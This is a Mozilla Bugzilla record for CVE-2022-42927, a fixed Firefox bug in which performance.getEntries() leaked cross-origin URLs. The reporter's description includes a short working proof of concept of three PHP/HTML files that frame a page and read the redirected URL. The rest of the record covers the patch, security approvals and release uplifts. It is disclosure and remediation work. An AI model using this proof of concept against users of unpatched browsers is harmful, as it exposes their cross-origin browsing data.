1789128 - (CVE-2022-42927) A Variant of bug id 1487964: Cross-Origin URL Steal is possible using performance.getEntries()

Status: RESOLVED FIXED

(Core :: DOM: Performance, defect)

Description

[James Lee]

We are able to steal Cross-Origin URL when we frame the page. This is a variant of https://bugzilla.mozilla.org/show_bug.cgi?id=1487964

PoC:

framescript.php:

<iframe src="http://pwning.click/ffembed.php"/></iframe>

ffembed.php:

<embed src="/ffscript.php">
<script>
setTimeout(function(){alert(performance.getEntriesByType("resource")[1].name)},3000);
</script>

ffscript.php:

<script>location="https://www.bing.com/search?q=test"</script>

Test on: http://pwning.click/framescript.php

I tested on Latest Firefox Nightly for Windows.

Comment 1

[Valentin Gosu [:valentin] (he/him)]

This regressed starting with bug 1732358 which enabled fission, but the actual bug was introduced in bug 1658097.

Comment 2

[Valentin Gosu [:valentin] (he/him)]

Attachment: Bug 1789128 - tests r=#necko,smaug!

Comment 3

[Valentin Gosu [:valentin] (he/him)]

Attachment: Bug 1789128 - Always call LoadInfo::GetPerformanceStorage() r=#necko,smaug!

Depends on D156824

Comment 4

[Ryan VanderMeulen [:RyanVM]]

We're building the final beta of the Fx105 cycle today. Let's shoot for getting this fix into the next cycle.

Comment 5

[Valentin Gosu [:valentin] (he/him)]

Comment on attachment 9293697 [details]
Bug 1789128 - Always call LoadInfo::GetPerformanceStorage() r=#necko,smaug!

Security Approval Request

• How easily could an exploit be constructed based on the patch?: Relatively easily. Anyone with access or knowledge of previous vulnerabilities would be able to figure out what's wrong.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
• Which older supported branches are affected by this flaw?: all
• If not all supported branches, which bug introduced the flaw?: None
• Do you have backports for the affected branches?: Yes
• If not, how different, hard to create, and risky will they be?: Easy
• How likely is this patch to cause regressions; how much testing does it need?: Low risk of functional regressions.
  There is a small risk of perf regressions on pages with iframes since now we're serializing the entire loadInfo, but that's easily fixable if necessary.
• Is Android affected?: Yes

Comment 6

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

Comment on attachment 9293697 [details]
Bug 1789128 - Always call LoadInfo::GetPerformanceStorage() r=#necko,smaug!

Approved to land and uplift

Comment 7

[Valentin Gosu [:valentin] (he/him)]

Comment on attachment 9293697 [details]
Bug 1789128 - Always call LoadInfo::GetPerformanceStorage() r=#necko,smaug!

Beta/Release Uplift Approval Request

• User impact if declined: Cross origin leak of information using the performance API
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: No
• Needs manual test from QE?: No
• If yes, steps to reproduce: (we have automated testing)
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): Fixes a regression. The fix is simple.
  Small chance for performance regression (in testcases with lots of iframes) since we now serialize the entire loadinfo instead of just the innerWindowID.
• String changes made/needed:
• Is Android affected?: Yes

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration:
• User impact if declined:
• Fix Landed on Version: 107
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky):

Comment 8

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Always call LoadInfo::GetPerformanceStorage() r=smaug
https://hg.mozilla.org/integration/autoland/rev/ea40a2dfd016ce3b2af27e2b1e74f8f8ef72b79f
https://hg.mozilla.org/mozilla-central/rev/ea40a2dfd016

Comment 9

[Pascal Chevrel:pascalc (PTO until April 26)]

Comment on attachment 9293697 [details]
Bug 1789128 - Always call LoadInfo::GetPerformanceStorage() r=#necko,smaug!

Approved for 106.0b3, thanks.

Comment 10

[Pascal Chevrel:pascalc (PTO until April 26)]

https://hg.mozilla.org/releases/mozilla-beta/rev/f68373d88d8d774762ee7d634229d3b4f7b3db0d

Comment 11

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9293697 [details]
Bug 1789128 - Always call LoadInfo::GetPerformanceStorage() r=#necko,smaug!

Approved for 102.4esr.

Comment 12

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-esr102/rev/f47ae81a0669

Comment 13

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

Attachment: advisory.txt

Comment 14

[BugBot [:suhaib / :marco/ :calixte]]

3 months ago, Tom Ritter [:tjr] placed a reminder on the bug using the whiteboard tag [reminder-test 2022-11-01] .

valentin, please refer to the original comment to better understand the reason for the reminder.

Comment 15

[Pulsebot]

Pushed by [e-mail]:
https://hg.mozilla.org/integration/autoland/rev/ffe05e4cf724
tests r=smaug

Comment 16

[Marian-Vasile Laza]

https://hg.mozilla.org/mozilla-central/rev/ffe05e4cf724